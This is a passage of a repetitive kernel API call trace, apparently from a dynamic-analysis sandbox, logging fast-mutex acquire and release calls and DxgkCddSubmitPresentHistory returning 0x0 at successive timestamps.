(FastMutex=0xffffe000001652b0) [0221.268] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0221.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0221.268] DxgkCddSubmitPresentHistory () returned 0x0 [0223.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0223.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0223.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0223.784] DxgkCddSubmitPresentHistory () returned 0x0 [0223.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0223.846] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0223.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0223.847] DxgkCddSubmitPresentHistory () returned 0x0 [0223.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0223.893] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0223.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0223.893] DxgkCddSubmitPresentHistory () returned 0x0 [0223.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0223.956] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0223.956] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0223.956] DxgkCddSubmitPresentHistory () returned 0x0 [0224.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.034] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0224.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.034] DxgkCddSubmitPresentHistory () returned 0x0 [0224.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.066] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0224.066] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.066] DxgkCddSubmitPresentHistory () returned 0x0 [0224.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.128] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0224.128] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.128] DxgkCddSubmitPresentHistory () returned 0x0 [0224.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.190] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0224.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.190] DxgkCddSubmitPresentHistory () returned 0x0 [0224.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.284] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0224.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.284] DxgkCddSubmitPresentHistory () returned 0x0 [0224.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0224.316] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0224.316] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0224.316] DxgkCddSubmitPresentHistory () returned 0x0 [0225.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.112] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.112] DxgkCddSubmitPresentHistory () returned 0x0 [0225.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.159] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.159] DxgkCddSubmitPresentHistory () returned 0x0 [0225.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.237] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.237] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.237] DxgkCddSubmitPresentHistory () returned 0x0 [0225.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.300] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.300] DxgkCddSubmitPresentHistory () returned 0x0 [0225.362] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.362] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.362] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.362] DxgkCddSubmitPresentHistory () returned 0x0 [0225.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.409] DxgkCddSubmitPresentHistory () returned 0x0 [0225.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.471] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.472] DxgkCddSubmitPresentHistory () returned 0x0 [0225.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.534] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.534] DxgkCddSubmitPresentHistory () returned 0x0 [0225.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.613] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.613] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.613] DxgkCddSubmitPresentHistory () returned 0x0 [0225.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.659] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.659] DxgkCddSubmitPresentHistory () returned 0x0 [0225.721] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.721] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.722] DxgkCddSubmitPresentHistory () returned 0x0 [0225.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.784] DxgkCddSubmitPresentHistory () returned 0x0 [0225.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.846] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.847] DxgkCddSubmitPresentHistory () returned 0x0 [0225.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.909] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.909] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.909] DxgkCddSubmitPresentHistory () returned 0x0 [0225.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0225.987] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0225.987] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0225.987] DxgkCddSubmitPresentHistory () returned 0x0 [0226.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0226.034] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0226.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0226.034] DxgkCddSubmitPresentHistory () returned 0x0 [0226.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0226.097] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0226.097] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0226.097] DxgkCddSubmitPresentHistory () returned 0x0 [0227.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.003] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0227.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.003] DxgkCddSubmitPresentHistory () returned 0x0 [0227.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.065] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0227.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.065] DxgkCddSubmitPresentHistory () returned 0x0 [0227.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.130] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0227.130] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.130] DxgkCddSubmitPresentHistory () returned 0x0 [0227.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.206] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0227.206] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.206] DxgkCddSubmitPresentHistory () returned 0x0 [0227.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.253] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0227.253] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.253] DxgkCddSubmitPresentHistory () returned 0x0 [0227.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0227.393] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0227.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0227.393] DxgkCddSubmitPresentHistory () returned 0x0 [0228.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.706] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0228.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.706] DxgkCddSubmitPresentHistory () returned 0x0 [0228.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.753] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0228.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.753] DxgkCddSubmitPresentHistory () returned 0x0 [0228.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.815] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0228.815] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.816] DxgkCddSubmitPresentHistory () returned 0x0 [0228.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.878] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0228.878] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.878] DxgkCddSubmitPresentHistory () returned 0x0 [0228.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0228.940] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0228.940] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0228.940] DxgkCddSubmitPresentHistory () returned 0x0 [0229.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.003] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0229.003] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.003] DxgkCddSubmitPresentHistory () returned 0x0 [0229.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.065] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0229.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.065] DxgkCddSubmitPresentHistory () returned 0x0 [0229.143] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.143] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0229.144] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.144] DxgkCddSubmitPresentHistory () returned 0x0 [0229.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.190] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0229.190] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.190] DxgkCddSubmitPresentHistory () returned 0x0 [0229.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.268] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0229.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.268] DxgkCddSubmitPresentHistory () returned 0x0 [0229.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.315] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0229.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.315] DxgkCddSubmitPresentHistory () returned 0x0 [0229.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.378] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0229.378] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.378] DxgkCddSubmitPresentHistory () returned 0x0 [0229.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.456] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0229.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.456] DxgkCddSubmitPresentHistory () returned 0x0 [0229.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.503] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0229.503] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.503] DxgkCddSubmitPresentHistory () returned 0x0 [0229.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.566] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0229.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.566] DxgkCddSubmitPresentHistory () returned 0x0 [0229.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.646] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0229.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.646] DxgkCddSubmitPresentHistory () returned 0x0 [0229.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0229.706] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0229.706] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0229.706] DxgkCddSubmitPresentHistory () returned 0x0 [0230.221] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.221] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0230.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.222] DxgkCddSubmitPresentHistory () returned 0x0 [0230.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.284] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0230.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.284] DxgkCddSubmitPresentHistory () returned 0x0 [0230.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.346] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0230.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.347] DxgkCddSubmitPresentHistory () returned 0x0 [0230.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0230.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.425] DxgkCddSubmitPresentHistory () returned 0x0 [0230.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0230.471] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0230.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0230.472] DxgkCddSubmitPresentHistory () returned 0x0 [0234.362] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.362] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0234.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.363] DxgkCddSubmitPresentHistory () returned 0x0 [0234.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.409] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0234.409] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.409] DxgkCddSubmitPresentHistory () returned 0x0 [0234.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.472] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0234.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.472] DxgkCddSubmitPresentHistory () returned 0x0 [0234.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.534] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0234.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.534] DxgkCddSubmitPresentHistory () returned 0x0 [0234.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.597] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0234.597] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.597] DxgkCddSubmitPresentHistory () returned 0x0 [0234.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.675] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0234.675] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.675] DxgkCddSubmitPresentHistory () returned 0x0 [0234.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.737] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0234.737] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.737] DxgkCddSubmitPresentHistory () returned 0x0 [0234.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.784] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0234.784] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.784] DxgkCddSubmitPresentHistory () returned 0x0 [0234.846] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.846] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0234.847] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.847] DxgkCddSubmitPresentHistory () returned 0x0 [0234.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.925] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0234.925] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.925] DxgkCddSubmitPresentHistory () returned 0x0 [0234.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0234.972] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0234.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0234.972] DxgkCddSubmitPresentHistory () returned 0x0 [0235.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.034] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0235.034] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.034] DxgkCddSubmitPresentHistory () returned 0x0 [0235.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.112] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0235.112] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.112] DxgkCddSubmitPresentHistory () returned 0x0 [0235.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.159] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0235.159] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.159] DxgkCddSubmitPresentHistory () returned 0x0 [0235.221] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.221] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0235.222] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.222] DxgkCddSubmitPresentHistory () returned 0x0 [0235.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.284] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0235.284] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.284] DxgkCddSubmitPresentHistory () returned 0x0 [0235.346] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0235.347] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0235.347] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0235.347] DxgkCddSubmitPresentHistory () returned 0x0 [0236.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.363] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0236.363] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.363] DxgkCddSubmitPresentHistory () returned 0x0 [0236.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.425] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0236.425] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.425] DxgkCddSubmitPresentHistory () returned 0x0 [0236.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.487] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0236.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.487] DxgkCddSubmitPresentHistory () returned 0x0 [0236.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.550] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0236.550] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.550] DxgkCddSubmitPresentHistory () returned 0x0 [0236.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0236.612] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0236.612] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0236.612] DxgkCddSubmitPresentHistory () returned 0x0 [0237.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0237.050] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0237.050] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0237.050] DxgkCddSubmitPresentHistory () returned 0x0 [0239.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0239.018] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001127c40) [0239.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001127c40) [0239.018] DxgkCddSubmitPresentHistory () 